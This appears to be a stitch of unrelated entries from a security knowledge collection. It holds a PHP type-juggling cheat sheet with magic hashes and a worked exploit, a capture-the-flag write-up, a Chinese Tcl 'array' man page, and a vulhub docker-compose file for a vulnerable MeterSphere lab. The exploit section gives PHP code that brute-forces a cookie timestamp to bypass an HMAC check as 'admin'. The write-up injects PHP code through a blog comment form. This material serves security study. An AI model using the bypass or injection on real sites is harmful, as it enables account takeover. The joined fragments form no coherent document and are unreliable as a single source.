value". - **Strict** comparison: using `=== or !==` : both variables have "the same type and the same value". ### True statements | Statement | Output | | --------------------------------- |:---------------:| | `'0010e2' == '1e3'` | true | | `'0xABCdef' == ' 0xABCdef'` | true (PHP 5.0) / false (PHP 7.0) | | `'0xABCdef' == ' 0xABCdef'` | true (PHP 5.0) / false (PHP 7.0) | | `'0x01' == 1` | true (PHP 5.0) / false (PHP 7.0) | | `'0x1234Ab' == '1193131'` | true | | `'123' == 123` | true | | `'123a' == 123` | true | | `'abc' == 0` | true | | `'' == 0 == false == NULL` | true | | `'' == 0` | true | | `0 == false ` | true | | `false == NULL` | true | | `NULL == ''` | true | > PHP8 won't try to cast string into numbers anymore, thanks to the Saner string to number comparisons RFC, meaning that collision with hashes starting with 0e and the likes are finally a thing of the past! The Consistent type errors for internal functions RFC will prevent things like `0 == strcmp($_GET['username'], $password)` bypasses, since strcmp won't return null and spit a warning any longer, but will throw a proper exception instead. ### NULL statements | Function | Statement | Output | | -------- | -------------------------- |:---------------:| | sha1 | `var_dump(sha1([]));` | NULL | | md5 | `var_dump(md5([]));` | NULL | ## Magic Hashes > Magic hashes arise due to a quirk in PHP's type juggling, when comparing string hashes to integers. If a string hash starts with "0e" followed by only numbers, PHP interprets this as scientific notation and the hash is treated as a float in comparison operations. | Hash | "Magic" Number / String | Magic Hash | Found By / Description | | ---- | -------------------------- |:---------------------------------------------:| -------------:| | MD4 | gH0nAdHk | 0e096229559581069251163783434175 | [@spaze](https://github.com/spaze/hashes/blob/master/md4.md) | | MD4 | IiF+hTai | 00e90130237707355082822449868597 | [@spaze](https://github.com/spaze/hashes/blob/master/md4.md) | | MD5 | 240610708 | 0e462097431906509019562988736854 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) | | MD5 | QNKCDZO | 0e830400451993494058024219903391 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) | | MD5 | 0e1137126905 | 0e291659922323405260514745084877 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) | | MD5 | 0e215962017 | 0e291242476940776845150308577824 | [@spazef0rze](https://twitter.com/spazef0rze/status/439352552443084800) | | MD5 | 129581926211651571912466741651878684928 | 06da5430449f8f6f23dfc1276f722738 | Raw: ?T0D??o#??'or'8.N=? | | SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham | | SHA-224 | 10885164793773 | 0e281250946775200129471613219196999537878926740638594636 | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1138075224010833921) | | SHA-256 | 34250003024812 | 0e46289032038065916139621039085883773413820991920706299695051332 | [@TihanyiNorbert](https://twitter.com/TihanyiNorbert/status/1148586399207178241) | | SHA-256 | TyNOQHUS | 0e66298694359207596086558843543959518835691168370379069085300385 | [@Chick3nman512](https://twitter.com/Chick3nman512/status/1150137800324526083) ```php <?php var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true) var_dump(md5('aabg7XSs') == md5('aabC9RqS')); var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m')); ?> ``` ## Exploit The vulnerability in the following code lies in the use of a loose comparison (!=) to validate the $cookie['hmac'] against the calculated `$hash`. ```php function validate_cookie($cookie,$key){ $hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['expiration'], $key); if($cookie['hmac'] != $hash){ // loose comparison return false; } else{ echo "Well done"; } } ``` In this case, if an attacker can control the $cookie['hmac'] value and set it to a string like "0", and somehow manipulate the hash_hmac function to return a hash that starts with "0e" followed only by numbers (which is interpreted as zero), the condition $cookie['hmac'] != $hash would evaluate to false, effectively bypassing the HMAC check. We have control over 3 elements in the cookie: - `$username` - username you are targeting, probably "admin" - `$expiration` - a UNIX timestamp, must be in the future - `$hmac` - the provided hash, "0" The exploitation phase is the following: 1. Prepare a malicious cookie: The attacker prepares a cookie with $username set to the user they wish to impersonate (for example, "admin"), `$expiration` set to a future UNIX timestamp, and $hmac set to "0". 2. Brute force the `$expiration` value: The attacker then brute forces different `$expiration` values until the hash_hmac function generates a hash that starts with "0e" and is followed only by numbers. This is a computationally intensive process and might not be feasible depending on the system setup. However, if successful, this step would generate a "zero-like" hash. ```php // docker run -it --rm -v /tmp/test:/usr/src/myapp -w /usr/src/myapp php:8.3.0alpha1-cli-buster php exp.php for($i=1424869663; $i < 1835970773; $i++ ){ $out = hash_hmac('md5', 'admin|'.$i, ''); if(str_starts_with($out, '0e' )){ if($out == 0){ echo "$i - ".$out; break; } } } ?> ``` 3. Update the cookie data with the value from the bruteforce: `1539805986 - 0e772967136366835494939987377058` ```php $cookie = [ 'username' => 'admin', 'expiration' => 1539805986, 'hmac' => '0' ]; ``` 4. In this case we assumed the key was a null string : `$key = '';` ## References * [Writing Exploits For Exotic Bug Classes: PHP Type Juggling By Tyler Borland](http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html) * [Magic Hashes - WhiteHatSec](https://www.whitehatsec.com/blog/magic-hashes/) * [PHP Magic Tricks: Type Juggling](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf) * [spaze/hashes - Magic hashes – PHP hash "collisions"](https://github.com/spaze/hashes) * [(Super) Magic Hashes - Mon 07 October 2019 - myst404 (@myst404_)](https://offsec.almond.consulting/super-magic-hash.html)
sec-knowleage
# Cody's First Blog - FLAG0 ## 0x00 Home ![](./imgs/home.jpg) ## 0x01 Try with Comment Tried XSS, not working. ![](./imgs/submit.jpg) As the blog is PHP, try inject with PHP. ``` php <?php phpinfo()?> ``` ![](./imgs/comment.jpg) ## 0x02 FLAG ![](./imgs/flag.jpg)
sec-knowleage
'\" '\" Copyright (c) 1993-1994 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH array 3tcl 8.3 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME array \- 操纵数组变量 .SH 总览 SYNOPSIS \fBarray \fIoption arrayName\fR ?\fIarg arg ...\fR? .BE .SH 描述 DESCRIPTION .PP 这个命令在由 \fIarrayName\fR 给出的变量上进行多种操作中的某一项。除了在后面为单独的命令(专门)指定之外,\fIarrayName\fR 必须是一个现存的数组变量的名字。\fIoption\fR 选项决定命令完成何种动作。合法的选项(可以用缩写)有: .TP \fBarray anymore \fIarrayName searchId\fR 如果在一次数组查找中还有元素等待处理则返回 1,如果所有元素都被返回过了则返回 0。\fISearchId\fR 指示在 \fIarrayName\fR 上检查哪个查找,它必须是从以前的 \fBarray startsearch\fR 调用返回的值。如果一个数组的某个元素有空名字时这个选项特别有用,因为从 \fBarray nextelement\fR 返回的值不能指示出查找是否完成。 .TP \fBarray donesearch \fIarrayName searchId\fR 这个命令终止一个数组查找并销毁与这个查找有关的所有状态。\fISearchId\fR 指示在 \fIarrayName\fR 上要要销毁哪个查找,必须时在以前调用 \fBarray startsearch\fR 返回的值。返回一个空串。 .TP \fBarray exists \fIarrayName\fR 如果 \fIarrayName\fR 是一个数组变量返回 1,如果没有叫这个名字的变量或是一个标量变量则返回 0。 .TP \fBarray get \fIarrayName\fR ?\fIpattern\fR? 返回包含成对的元素的一个列表。每对的第一个元素是在 \fIarrayName\fR 中的元素名,每对的第二个元素是数组元素的值。没定义成对元素的次序。如果没指定 \fIpattern\fR,则数组的所有元素被包括在结果中,如果指定了 \fIpattern\fR,则结果中只包括那些名字匹配 \fIpattern\fRn 的元素(使用 \fBstring match\fR 的匹配规则)。如果 \fIarrayName\fR 不是一个数组变量的名字,或者数组不包含元素,则返回一个空列表。 .TP \fBarray names \fIarrayName\fR ?\fIpattern\fR? 返回在一个列表,它包含数组中匹配 \fIpattern\fR 的所有元素的名字(使用 \fBstring match\fR 匹配规则)。 如果省略了 \fIpattern\fR 则命令返回在数组中所有元素的名字。如果在数组中没有(匹配的)元素,或者 \fIarrayName\fRe 不是一个数组变量的名字,则返回一个空串。 .TP \fBarray nextelement \fIarrayName searchId\fR 返回在 \fIarrayName\fR 中下一个元素的名字,如果在这个查找中所有 \fIarrayName\fR 的元素都被已经被返回过了则返回空串。\fIsearchId\fR 参数标识一个查找,并且必须是 \fBarray startsearch\fR 命令的返回值。 警告: 如果从这个数组中添加或删除元素,那么自动的终止所有的查找,有如调用了 \fBarray donesearch\fR,这将导致对这些查找的 \fBarray nextelement\fR 操作失败。 .TP \fBarray set \fIarrayName list\fR 设置在 \fIarrayName\fR 中的一个或多个元素的值。list 的形式必须与 \fBarray get\fR 返回的相同,由偶数个元素组成的。在 \fIlist\fR 中每个奇数元素被作为在 \fIarrayName\fR 中被作为一个元素名对待,后面跟随的 \fIlist\fR 中的元素被作为这个数组元素的新值使用。如果变量 \fIarrayName\fR 不存在并且 \fIlist\fR 是空, 建立是空值的 \fIarrayName\fR。 .TP \fBarray size \fIarrayName\fR 返回一个给出在一个数组中的元素个数的一个十进制数的字符串。如果 \fIarrayName\fR 不是一个数组的名字则返回 0。 .TP \fBarray startsearch \fIarrayName\fR 这个命令在用 \fIarrayName\fR 给出的数组上初始化一个逐个元素的查找,调用 \fBarray nextelement\fR 命令将返回在数组中单独元素的名字。在查找完成的时候,要调用 \fBarray donesearch\fR 命令。返回值是一个在 \fBarray nextelement\fR 和 \fBarray donesearch\fR 命令中必须要用的查找标识符;对同一个数组允许多个查找同时进行。 .VS 8.3 .TP \fBarray unset \fIarrayName\fR ?\fIpattern\fR? 在一个数组中删除匹配 \fIpattern\fR 的所有元素(使用 \fBstring match\fR 的匹配规则)。如果 \fIarrayName\fR 不是一个数组变量的名字或在数组中没有匹配的元素,则返回一个空数组。如果是一个数组变量的名字并且省略了 \fIpattern\fR ,则命令删除整个数组。 .VE 8.3 .SH 关键字 KEYWORDS array, element names, search .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/22 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
version: "2.1" services: web: image: vulhub/metersphere:1.16.3 ports: - "8081:8081" - "5005:5005" environment: MYSQL_SERVER: db:3306 MYSQL_DB: metersphere MYSQL_USERNAME: root MYSQL_PASSWORD: root KAFKA_SERVER: kafka:9092 db: image: mysql:5.7 command: --sql-mode="STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION" --max-connections=8000 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=metersphere kafka: image: bitnami/kafka:3.4.1 environment: # KRaft settings - KAFKA_CFG_NODE_ID=0 - KAFKA_CFG_PROCESS_ROLES=controller,broker - KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=0@kafka:9093 # Listeners - KAFKA_CFG_LISTENERS=PLAINTEXT://:9092,CONTROLLER://:9093 - KAFKA_CFG_ADVERTISED_LISTENERS=PLAINTEXT://:9092 - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT - KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=PLAINTEXT
sec-knowleage